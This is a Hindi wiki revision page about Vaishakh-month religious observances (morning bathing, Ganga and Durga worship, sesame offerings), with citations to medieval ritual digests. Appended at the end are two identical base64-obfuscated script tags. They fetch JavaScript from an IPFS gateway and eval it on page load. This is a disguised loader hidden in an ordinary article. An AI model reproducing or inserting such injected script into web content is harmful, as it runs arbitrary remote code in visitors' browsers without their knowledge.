वैशाख कृत्य: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - "==संबंधित लिंक==" to "==सम्बंधित लिंक==") |
व्यवस्थापन (talk | contribs) m (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==") |
||
Line 19: | Line 19: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
== | ==संबंधित लेख== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} |
Revision as of 15:20, 14 September 2010
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- हेमाद्रि [1], कृत्यरत्नाकर [2], वर्षक्रियाकौमुदी [3], कृत्यतत्व [4], निर्णयसिन्धु [5], स्मृतिकौस्तुभ [6] में वैशाख कृत्य का वर्णन है।
- वैशाख के कुछ व्रत, यथा–अक्षय तृतीया, अलग से वर्णित है।
- वैशाख कृत्य के मास में प्रात:काल स्नान, उन स्नानों के साथ जो सूर्य की तुला एवं मकर राशियों में किये जाते हैं, बहुत महत्वपूर्ण हैं। [7]
- प्रात:काल का आरम्भ चैत्र पूर्णिमा या एकादशी या वैशाख पूर्णिमा से हो सकता है। [8]
- पद्मपुराण में वर्णित है कि वैशाख में प्रात:स्नान का माहात्म्य [9]अश्वमेघ के समान है।
- शुक्ल पक्ष की सप्तमी को गंगा की पूजा करनी चाहिए, क्योंकि इसी दिन जह्न ने, जिन्होंने क्रोध में आकर उसे पी लिया था, इसे अपने दाहिने कर्ण से मुक्त किया था। [10]
- शाख शुक्ल की सप्तमी को बृद्ध का जन्म हुआ था, उस तिथि से तीन दिनों तक उनकी प्रतिमा का पूजन होना चाहिए, विशेषत: जब पुष्य नक्षत्र हो।[11]
- शुक्ल पक्ष की अष्टमी पर अपराजिता नामक दुर्गा की प्रतिमा को कर्पूर एवं जटामासी से युक्त जल से स्नान कराकर पूजा तथा स्वयं आम्ररस से स्नान करना चाहिए।[12]
- वैशाख पूर्णिमा पर ब्रह्मा ने काले एवं श्वेत तिल उत्पन्न किये थे, अत: उनसे युक्त जल से स्नान करना चाहिए, उन्हें अग्नि में अर्पित करना चाहिए, तिल एवं मधु का दान करना चाहिए। [13]
- श्रीलंका में वैशाख पूजा का आरम्भ 'दुत्तगामिनी [14] के अंतर्गत हुआ।[15]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ (हेमाद्रि व्रत खण्ड 2, 748-750)
- ↑ (कृत्यरत्नाकर 145-179)
- ↑ (वर्षक्रियाकौमुदी 240-251)
- ↑ (कृत्यतत्व 423-430)
- ↑ (निर्णयसिन्धु 90-97)
- ↑ (स्मृतिकौस्तुभ 108-117), गदाधरपद्धति (गदाधरपद्धति कालसार 15-23)
- ↑ राजमार्तण्ड; कृत्यरत्नाकर (149), कालविवेक (423-424); स्मृतिकौस्तुभ (106, 108)
- ↑ (निर्णयसिन्धु 90)
- ↑ (पद्मपुराण 4|85|41-70)
- ↑ कृत्यकल्पतरु (नैयतकालिककाण्ड, 387); पद्मपुराण (4|85|41-42); निर्णयसिन्धु (95); स्मृतिकौस्तुभ (112)
- ↑ कृत्यकल्पतरु (नैयतकालिक 388); कृत्यरत्नाकर (160)
- ↑ निर्णयामृत (56); स्मृतिकौस्तुभ (113)
- ↑ कृत्यकल्पतरु (नैयतकालिककाण्ड 388); हेमाद्रि (व्रत खण्ड 2, 167-171); कृत्यरत्नाकर (163-164); स्मृतिकौस्तुभ (115-116); निर्णयसिन्धु (97)
- ↑ (लगभग 100-77 ई. पू.)
- ↑ बालपोल राहुल कृत 'बुद्धिज्म इन सीलोन', पृ0 80 (कोलम्बी, 1956)
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>